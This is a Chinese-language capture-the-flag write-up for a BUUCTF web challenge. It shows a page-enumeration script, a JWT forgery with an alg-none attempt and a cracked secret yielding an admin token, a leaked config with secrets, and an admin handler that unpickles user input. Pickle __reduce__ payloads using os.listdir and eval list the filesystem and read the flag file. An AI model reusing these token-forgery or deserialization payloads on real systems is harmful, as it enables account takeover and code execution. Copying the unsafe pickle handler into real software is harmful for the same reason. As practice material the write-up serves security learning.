JWT&Pickle漏洞
概述
闲来无事开始做一波web🐕,刷到一道19国赛的题目来记录一下hh。题目链接:[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day1 Web2]ikun)
进去可以看到出题人一定是个ikun(doge。
页面爆破
进去看了一下好像没有什么,先注册一个账号,没有发现什么利用的点,但是有一个提示让我们给坤坤冲个lv6,但是刷了好几面也没有发现*站lv6的购买链接,我们写个脚本爆破一下。
import requests
url="http://8ab626e0-486e-4a8f-9da3-d061871c85ae.node4.buuoj.cn:81/shop?page="
for i in range(0,1000):
res=requests.get(url+str(i))
if 'lv6.png' in res.text:
print (i)
break
发现在181面有一个lv6的购买图标价钱是1145141919.0,我们直接放入购物车中试试看有没有逻辑越权的漏洞。
JWT修改
我们抓个包发现下面有discount和price的选项,但是在修改price或者discount的时候会有302的跳转我们跟进去看一下这个目录,但是提示只有admin才可以成功进入。所以我们要怎么搞一个admin的登录凭证呢,现在的思路要不就是搞一个admin的登录密码,第二个方式就是搞一个jwt伪造。
我们对自己的jwt进行解析,首先尝试用none进行改造,但是好像失败了直接报了一个500的错误,我们用jwtcrack去爆破一下盐值,发现盐值是1Kun,我们直接进行构造jwt,进行重放攻击:
初始:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImR5ZCJ9.I5up85-89wOZLeOC1eZkc1xhFB2K_hHD9o3vKZdG93I
用alg为none改造的结果:
ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.ewogICJ1c2VybmFtZSI6ICJhZG1pbiIKfQ.
用jwtcrack进行爆破寻找盐值:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
代码审计
以为差不多了结果还要挖洞,审计。。。
进去看一下代码发现留了些东西给我们,这个应该就是网页的源代码了。
在setting中可以发现有一个hint提示,同时也看到了盐值,折扣,价格;我们把hint解码一下得到:这网站不仅可以以薅羊毛,我还留了个后门,就藏在lv6里:
import os
limit = 9
US = 'admin'
MI='hint: \u8fd9\u7f51\u7ad9\u4e0d\u4ec5\u53ef\u4ee5\u4ee5\u8585\u7f8a\u6bdb\uff0c\u6211\u8fd8\u7559\u4e86\u4e2a\u540e\u95e8\uff0c\u5c31\u85cf\u5728\u006c\u0076\u0036\u91cc'
PW = 'SJ%H0c7_3'
debug = False
connect_str = 'sqlite:///%s' % os.path.join(os.getcwd(), 'sshop.db3')
cookie_secret = 'JDIOtOQQjLXklJT/N4aJE.tmYZ.IoK9M0_IHZW448b6exe7p1pysO'
jwt_secret = '1Kun'
Discount = 0.8
Discount_money=10000
我们在init里看一下路由的分配情况:
from Shop import *
from User import *
from Admin import *
handlers = [
(r'/', ShopIndexHandler),
(r'/shop', ShopListHandler),
(r'/info/(\d+)', ShopDetailHandler),
(r'/shopcar', ShopCarHandler),
(r'/shopcar/add', ShopCarAddHandler),
(r'/pay', ShopPayHandler),
(r'/user', UserInfoHandler),
(r'/user/change', changePasswordHandler),
(r'/pass/reset', ResetPasswordHanlder),
(r'/login', UserLoginHanlder),
(r'/logout', UserLogoutHandler),
(r'/register', RegisterHandler),
(r'/b1g_m4mber', AdminHandler)
]
跟进到admin.py界面中,可以发现找到了界面,利用了Pickle进行了反序列化操作:
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
挖洞
我们去找一下python序列化的漏洞,搜索发现有一个reduce的漏洞,类似于php里的wakeup魔术方法,那么我们构造一下序列化的代码就按照p的构造逆向来就行:
__reduce__(self)
当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 __reduce__ 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 __setstate__ 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选);
首先看一下根目录下有什么文件吧:
import pickle
import urllib
import os
class payload(object):
def __reduce__(self):
return (os.listdir,('/',))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
读一下flag.txt即可:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a